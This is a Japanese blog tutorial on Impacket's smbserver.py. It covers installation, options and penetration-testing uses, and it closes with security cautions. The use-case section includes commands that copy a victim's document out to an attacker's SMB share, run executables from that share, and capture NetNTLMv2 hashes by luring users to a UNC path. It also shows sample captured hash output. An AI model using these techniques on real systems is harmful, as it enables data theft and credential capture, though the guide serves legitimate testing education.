Impacketのsmbserver.py徹底活用ガイド SMBサーバーの構築と活用法

セキュリティツール

ネットワークテストやファイル共有を効率化!

はじめに:Impacketとsmbserver.pyとは? 🤔

Impacketは、ネットワークプロトコルを扱うためのPythonクラスの強力なコレクションです。特に、Windows環境でよく使われるSMB (Server Message Block) やMSRPC (Microsoft Remote Procedure Call) といったプロトコルの操作に優れており、セキュリティ研究者やペネトレーションテスターにとって不可欠なツールキットとなっています。

smbserver.py は、Impacketに含まれるスクリプトの一つで、簡単にSMBサーバーを立ち上げることができます。これにより、ファイル共有の設定、認証テスト、さらにはNTLMハッシュの取得など、様々なタスクを実行できます。このブログでは、smbserver.py の基本的な使い方から、応用的な活用方法、そしてセキュリティ上の注意点までを詳しく解説していきます。

Impacketとは?
ネットワークプロトコルの低レベルな操作を可能にするPythonライブラリ群です。SMB/CIFS、MSRPC、NTLM認証、Kerberos認証など、多くのWindows関連プロトコルに対応しています。パケットの生成・解析から、プロトコルの実装そのものまで提供しています。

Impacketのインストール 🛠️

smbserver.py を使用するには、まずImpacketをインストールする必要があります。Kali Linuxなどのセキュリティテスト用ディストリビューションには、あらかじめImpacketがインストールされていることが多いですが、そうでない場合や最新版を使用したい場合は、以下の手順でインストールできます。

最も一般的な方法は、Pythonのパッケージマネージャーであるpipを使用することです。システム全体にインストールするよりも、pipx を使用することが推奨されています。

# pipx を使って安定版をインストール
python3 -m pipx install impacket

# または、pip を使用する場合 (仮想環境推奨)
python3 -m venv impacket-env
source impacket-env/bin/activate
pip install impacket

# Kali Linux の場合、aptでもインストール可能です
sudo apt update
sudo apt install python3-impacket impacket-scripts

GitHubから最新の開発版をインストールすることも可能です。リポジトリをクローンし、そのディレクトリ内でインストールコマンドを実行します。

git clone https://github.com/fortra/impacket.git
cd impacket
python3 -m pipx install .
# または pip を使用
pip install .

インストールが完了すると、smbserver.py や他のImpacketスクリプトが利用可能になります。Kali Linuxなどでは、impacket-smbserver のように、ハイフン付きのコマンド名で実行できる場合もあります。

基本的な使い方:SMBサーバーの起動 🚀

smbserver.py の最も基本的な使い方は、共有名と共有するローカルディレクトリのパスを指定して実行することです。デフォルトでは、ポート445でSMBサーバーが起動します。このポートを使用するには、通常、root権限が必要です。

# sudo impacket-smbserver <共有名> <共有するローカルパス>
sudo impacket-smbserver SHARE /tmp/share_folder

上記のコマンドを実行すると、/tmp/share_folder ディレクトリが SHARE という名前でネットワーク上に公開されます。デフォルトでは認証は不要で、誰でもアクセスできます。

Windowsクライアントから接続するには、エクスプローラーのアドレスバーやコマンドプロンプトで以下のように入力します。

# エクスプローラーの場合
\\<サーバーのIPアドレス>\SHARE

# コマンドプロンプトの場合
net view \\<サーバーのIPアドレス>
dir \\<サーバーのIPアドレス>\SHARE
copy \\<サーバーのIPアドレス>\SHARE\somefile.txt C:\local_folder\

smbserver.py を実行しているターミナルには、接続試行やファイル操作のログが表示されます。

⚠️ 注意:ポート445の使用

SMBの標準ポートであるTCP 445を使用するには、通常、システム上でroot権限(管理者権限)が必要です。これは、1024番未満のポート(ウェルノウンポート)をリッスンするには特権が必要なためです。root権限がない場合は、-port オプションで1024番以上のポートを指定する必要がありますが、クライアント側もそのポートを指定して接続する必要があり、互換性の問題が生じる可能性があります。

主要なオプション解説 ⚙️

smbserver.py は様々なオプションを持っており、挙動を細かく制御できます。

オプション 説明
shareName (必須) 公開する共有の名前。 MyShare
sharePath (必須) 共有として公開するローカルディレクトリのパス。 /home/user/public
-h, --help ヘルプメッセージを表示して終了します。 impacket-smbserver -h
-comment COMMENT 共有のコメントを指定します。クライアントが共有一覧を表示した際に表示されます。 -comment "Public Files"
-username USERNAME 認証に使用するユーザー名を指定します。 -username guest
-password PASSWORD 指定したユーザー名のパスワードを指定します。 -password Pa$$w0rd
-hashes LMHASH:NTHASH パスワードの代わりに、LMハッシュとNTハッシュを指定して認証に使用します。Pass-the-Hash攻撃のシナリオなどで利用されます。 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
-ts ログ出力にタイムスタンプを追加します。 -ts
-debug デバッグモードを有効にし、より詳細なログを出力します。 -debug
-ip INTERFACE_ADDRESS サーバーがリッスンする特定のIPアドレスを指定します。デフォルトではすべてのインターフェースでリッスンします。 -ip 192.168.1.100
-port PORT リッスンするTCPポートを指定します。デフォルトは445です。 -port 4445
-smb2support SMB2プロトコルのサポートを有効にします(実験的機能)。現代的なWindowsクライアントとの互換性のために推奨されることが多いです。 -smb2support
-outputfile FILENAME ログを指定したファイルに出力します。 -outputfile smb_log.txt

使用例:

パスワード認証付きSMBサーバー (SMB2対応):

sudo impacket-smbserver -smb2support -username testuser -password complexpassword123 SECURESHARE /srv/secure_files

この例では、testuser というユーザー名と complexpassword123 というパスワードでのみアクセス可能な SECURESHARE という名前の共有を /srv/secure_files ディレクトリに作成します。SMB2サポートも有効になっています。

特定のIPアドレスのみでリッスン:

sudo impacket-smbserver -ip 10.0.0.5 PUBLIC /var/www/html

この例では、IPアドレス 10.0.0.5 のみで接続を受け付ける PUBLIC という共有を作成します。

応用的な使い方とユースケース 💡

1. ファイル転送 (ペネトレーションテスト)

ペネトレーションテスト中に、攻撃対象のWindowsマシンにツール(例: Netcat, Mimikatz, SharpHoundなど)を転送したり、逆に機密情報(例: 設定ファイル、ダンプファイル)を攻撃者のマシンに持ち出したりする際に、smbserver.py は非常に便利です。

攻撃者のマシン (例: Kali Linux) でSMBサーバーを起動:

sudo impacket-smbserver -smb2support TOOLS /opt/tools/windows

ターゲットのWindowsマシンからファイルをコピー:

copy \\<KaliのIP>\TOOLS\nc.exe C:\Windows\Temp\
copy C:\Users\victim\Documents\secret.docx \\<KaliのIP>\TOOLS\

Windowsの組み込みコマンド (copy, move, net use など) で簡単にアクセスできるため、ターゲットマシンに追加のツールをインストールする必要がないのが利点です。 直接SMB共有上の実行ファイルを実行することも可能です。

\\<KaliのIP>\TOOLS\exploit.exe

2. NTLMハッシュの取得

smbserver.py は、接続してきたクライアントのNTLM認証の試行をログに記録します。特に、認証情報(ユーザー名やパスワード)を指定せずにサーバーを起動した場合でも、Windowsクライアントが接続を試みると、そのユーザーのNetNTLMv1/v2ハッシュがsmbserver.py の実行画面に表示されます。

sudo impacket-smbserver -smb2support CAPTURE $PWD

ターゲットユーザーに \\<smbserverのIP>\CAPTURE へのアクセスを促す(例えば、メール内のリンクやWebサイトのリダイレクトなど)ことで、そのユーザーのNetNTLMv2ハッシュを取得できます。

NetNTLMハッシュとは?
これはネットワーク認証中に交換されるチャレンジ/レスポンス型のハッシュであり、ユーザーアカウントのパスワードから直接生成されるNTLMハッシュとは異なります。NetNTLMハッシュはPass-the-Hash攻撃には直接使用できませんが、Hashcatなどのツールでオフラインクラックを試みたり、NTLMリレー攻撃に使用したりすることができます。NTLMリレー攻撃の脅威については、2024年にProofpointがTA577という攻撃グループによるNTLMハッシュ窃取キャンペーンを報告しています。この攻撃では、細工されたHTMLファイルを含むメールを送りつけ、受信者がファイルを開くと外部のSMBサーバーへ接続させ、NTLMハッシュを取得しようとしていました。

取得したハッシュは以下のような形式で表示されることがあります(ユーザー名、ドメイン、チャレンジ、ハッシュなどを含む)。

AUTHENTICATE_MESSAGE (DOMAIN\User, HOSTNAME)
SMB SessionError: STATUS_LOGON_FAILURE(0xc000006d)
NTLMv2 Response Captured from ::ffff:192.168.1.150:1055 - DOMAIN\User
NTLMv2 Hash : User::DOMAIN:1122334455667788:AABBCCDDEEFFGGHHIIJJKKLLMMNNOOPP:0101000000000000....

3. NTLMリレー攻撃の準備 (ntlmrelayx.pyとの連携)

smbserver.py 自体はリレー攻撃を行いませんが、Impacketスイートに含まれる ntlmrelayx.py と連携するシナリオで、SMBサーバーの役割を担うことがあります。ntlmrelayx.py は、中間者攻撃 (MitM) によって傍受したNTLM認証情報を他のサーバー(SMB, HTTP, LDAPなど)に中継(リレー)し、認証を乗っ取る攻撃ツールです。

ntlmrelayx.py は自身でSMBやHTTPサーバーを起動して認証情報を待ち受けますが、特定のシナリオでは smbserver.py で準備した環境が利用されることもあります。ただし、リレー攻撃の実行は主に ntlmrelayx.py が担当します。

🔗 関連ツール: ntlmrelayx.py

NTLMリレー攻撃に興味がある場合は、ntlmrelayx.py の使い方を別途調査することをお勧めします。このツールは非常に強力で、SMB署名が無効になっている環境などで権限昇格や横展開(Lateral Movement)を可能にします。

セキュリティ上の注意点 🚨

smbserver.py は便利なツールですが、使用には注意が必要です。特にセキュリティの観点から以下の点を理解しておくことが重要です。

  • 認証なしの共有: デフォルトでは認証なしで共有が作成されるため、ネットワーク上の誰でもアクセスできてしまいます。機密情報を含むディレクトリを誤って共有しないように注意が必要です。必要な場合は必ず -username-password (または -hashes) オプションを使用して認証を設定してください。
  • ポートの開放: サーバーを起動すると、指定したポート(デフォルトは445)が外部からの接続を受け付ける状態になります。不要になったら必ずサーバーを停止し、ファイアウォール設定なども確認してください。
  • 既知の脆弱性: 過去にはImpacketのsmbserver.pyに脆弱性が発見されたこともあります (例: CVE-2021-31800 パストラバーサル)。常に最新版のImpacketを使用し、セキュリティ情報を確認するように心がけましょう。CVE-2021-31800は、攻撃者が細工したSMBクライアントを使うことで、smbserver.pyが稼働しているサーバー上の任意の場所にファイルを書き込めてしまうという深刻な脆弱性でした(2021年6月公表)。
  • ログの記録: 接続元のIPアドレスや試行された認証情報などがログに記録されます。これらのログが不正アクセスや情報漏洩に繋がらないよう、適切に管理してください。
  • 悪用の可能性: smbserver.py は正当な目的(テスト、ファイル共有)だけでなく、悪意のある目的(マルウェア配布、ハッシュ奪取)にも使用されうるツールです。組織のセキュリティポリシーや法律を遵守し、倫理的に使用することが求められます。

🚫 不用意な使用は危険

特に外部ネットワークや信頼できないネットワーク環境で安易に smbserver.py を起動することは、セキュリティリスクを高める行為です。使用目的と環境をよく理解した上で、慎重に利用してください。

まとめ ✨

Impacketのsmbserver.pyは、SMBサーバーを手軽に構築・運用できる非常に便利なツールです。ファイル転送、認証テスト、NTLMハッシュの取得など、多様な用途で活用できます。特にペネトレーションテストやネットワーク調査においては、その威力を発揮する場面が多いでしょう。

基本的な使い方から各種オプション、応用例までを理解し、さらにセキュリティ上の注意点を念頭に置くことで、smbserver.pyを安全かつ効果的に使いこなすことができます。ぜひ、日々の業務や学習に取り入れてみてください! 💪

コメント

タイトルとURLをコピーしました